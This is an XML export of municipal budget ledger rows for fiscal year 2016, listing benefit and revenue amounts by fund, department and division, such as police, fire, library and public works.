<row _id="19294"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2259</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2259</total></row>
<row _id="19295"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3283</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3283</total></row>
<row _id="19296"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12208</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12208</total></row>
<row _id="19297"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>26395</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26395</total></row>
<row _id="19298"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3237</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3237</total></row>
<row _id="19299"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>137779</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>137779</total></row>
<row _id="19300"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>693658</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>693658</total></row>
<row _id="19301"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400740.0</object><object_description>OTHER FINES / FORFEITURES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2016</fiscal_year><july>-35000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-35000</total></row>
<row _id="19302"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>712</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>712</total></row>
<row _id="19303"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6944</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6944</total></row>
<row _id="19304"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544190.0</object><object_description>USAR SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12011</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12011</total></row>
<row _id="19305"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400681.0</object><object_description>EMS REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-1099385</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1099385</total></row>
<row _id="19306"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1623989</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1623989</total></row>
<row _id="19307"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511744.0</object><object_description>MED TRUST - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>198388</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>198388</total></row>
<row _id="19308"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511744.0</object><object_description>MED TRUST - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>81209</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>81209</total></row>
<row _id="19309"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511772.0</object><object_description>RETIREMENT - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>376855</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>376855</total></row>
<row _id="19310"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511772.0</object><object_description>RETIREMENT - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>137364</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>137364</total></row>
<row _id="19311"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>284884</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>284884</total></row>
<row _id="19312"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14090</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14090</total></row>
<row _id="19313"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>171456</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>171456</total></row>
<row _id="19314"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19315"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>184050</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>184050</total></row>
<row _id="19316"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>201181</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>201181</total></row>
<row _id="19317"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>360445</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>360445</total></row>
<row _id="19318"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>769391</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>769391</total></row>
<row _id="19319"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19400</total></row>
<row _id="19320"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>119441</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>119441</total></row>
<row _id="19321"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14020</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14020</total></row>
<row _id="19322"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7531</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7531</total></row>
<row _id="19323"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12337</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12337</total></row>
<row _id="19324"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>844</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>844</total></row>
<row _id="19325"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>574</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>574</total></row>
<row _id="19326"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3183</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3183</total></row>
<row _id="19327"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6127</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6127</total></row>
<row _id="19328"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1556</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1556</total></row>
<row _id="19329"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1076</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1076</total></row>
<row _id="19330"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19331"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3853</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3853</total></row>
<row _id="19332"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>951</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>951</total></row>
<row _id="19333"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4458</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4458</total></row>
<row _id="19334"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8421</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8421</total></row>
<row _id="19335"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>168</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>168</total></row>
<row _id="19336"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>303045</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>303045</total></row>
<row _id="19337"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1230346</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1230346</total></row>
<row _id="19338"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5740</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5740</total></row>
<row _id="19339"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6402</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6402</total></row>
<row _id="19340"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1582</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1582</total></row>
<row _id="19341"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9723</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9723</total></row>
<row _id="19342"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19343"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>859</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>859</total></row>
<row _id="19344"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10546</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10546</total></row>
